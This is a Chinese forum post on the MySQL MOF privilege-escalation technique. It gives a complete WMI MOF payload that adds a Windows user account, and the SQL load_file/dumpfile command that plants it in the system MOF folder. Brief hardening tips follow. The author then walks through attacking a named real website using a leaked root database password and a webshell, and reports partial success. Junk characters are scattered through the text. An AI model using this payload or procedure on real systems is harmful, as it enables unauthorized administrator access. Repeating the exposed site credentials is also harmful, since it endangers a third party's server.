找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2231|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
0 f/ Y( T$ D$ D6 U2 J
# _' h, Y9 i, r" ?网上公开的一些利用代码:* S- l9 `; Z- n& u
9 T: J8 x2 w. F' R) q6 Z
#pragma namespace(“\\\\.\\root\\subscription”): m- }& u" N3 m5 H9 M
& k8 D) T* {7 j; X- P
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };! ]( u1 B0 J' K* ^7 s# s
, `8 ]/ X4 B; g9 b, f

* l9 d: _# ^0 b% o) r2 l$ T
0 a5 _) P) a3 M1 X, _4 U1 K* Y - e6 Y5 i) d& C5 L* G
$ T+ G- c; }: E- Z8 h  K
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
3 n6 h- R, s/ D( c# G& O1 o从上面代码来看得出解决办法:
# E+ C$ M& [0 X8 x( [) m
8 F) D# F% I1 ~3 b4 ~% r1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
7 K5 b% f2 K8 h6 q
4 J* s0 r+ Y' \2 M$ S- ?2、禁止使用”WScript.Shel”组件
6 m4 c& ~0 {5 D( \3 h5 m& a5 y
1 c& o% f" f5 O% V, T1 H& U3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER. I; p9 Z) z$ c4 k2 c$ B
$ J4 L5 Z5 i4 s& n7 e
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下$ O( t' ?8 y" P. E, K

! k7 J! N/ c2 M9 s0 O( B7 u/ ^事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
* g: \! c) k6 ~! L
+ J) M; o2 q) V/ y9 P: \但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
# _, N" g$ ?( w/ _$ |7 X- }. `3 y
看懂了后就开始练手吧4 O$ o, c3 j2 `: q: O1 L8 q
4 I, ~4 y0 C- ]. V
http://www.webbmw.com/config/config_ucenter.php 一句话 a, ]+ m4 [# p2 m3 Y$ R! U& i# @# _
! a* m( n  M. ?5 c2 W
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。/ a0 f% x1 d2 x! K: q, |

9 f% i) [6 g. k/ ]于是直接用菜刀开搞
7 f$ R6 d- J' K. U0 y! l! M! j: S+ j- |% E
上马先/ M+ R9 b9 [6 p5 _; a

% o# Q' m1 n- v* p既然有了那些账号 之类的 于是我们就执行吧……., d9 s5 j( \9 v2 Z9 U5 g6 h; i/ A

7 @/ G1 f3 \! u. [( R1 m小小的说下
; C: w; n1 D" I
5 D# J) R4 n8 z$ q2 Q在这里第1次执行未成功        原因未知
! x7 Y8 E9 \) I2 d* I; e. V
  f7 n9 N8 A" S& f8 V0 }4 ~我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。$ c1 p" J  O  M7 |" _' l3 Z4 t4 l  N

! z& h  k+ B7 y* D  `4 q' k#pragma namespace(“\\\\.\\root\\subscription”)
7 E: v% J! R: U1 b; L& @" P9 `& F& P4 \) F' J
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };4 o* c. J. r$ ], H- p$ _. H5 U0 t

- J) @3 U2 }$ {* N我是将文件放到C:\WINDOWS\temp\1.mof( O+ J8 P2 t  c. P/ T8 p2 ~

9 {$ [% j  A2 ~6 h所以我们就改下执行的代码& H/ U( o3 q, S1 P0 s: T5 `2 G

/ e1 l& F# g2 c: r0 B! J3 {8 a2 vselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- l% ?1 p9 Q/ \. E- a
& _' y) x5 u' H2 t$ s/ D( ^( `4 }
& Y, S' M0 d6 i; s  z& t! {7 [4 ~. o& M" R
但是 你会发现账号还是没有躺在那里。。
6 x% B' m) J% L8 a% W
$ U. W1 S3 w# r! @, _" Y* }于是我就感觉蛋疼7 Y9 b$ F2 }, r7 H" ~
2 K% [) b& l0 |4 w
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
( i$ T# B" a' P. e- Y, I
9 [) w! P* |& `# W) k, M* ~1 \
  n- [9 C  V9 ^: w- q( n
% d! O4 Z: y% ~6 P8 G0 z3 ?: R9 I但是其他库均不成功…. u0 b  n5 O* j/ I4 m

6 m' a2 F) p# U+ U0 O, _我就很费解呀 到底为什么不成功求大牛解答…! x- X3 @& A, b0 d- }: L

( m* D: U% i9 Z! h2 r* X* A; A! c  e5 D  S. ^8 \
; |; t4 K* ^) {$ Q5 c" U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表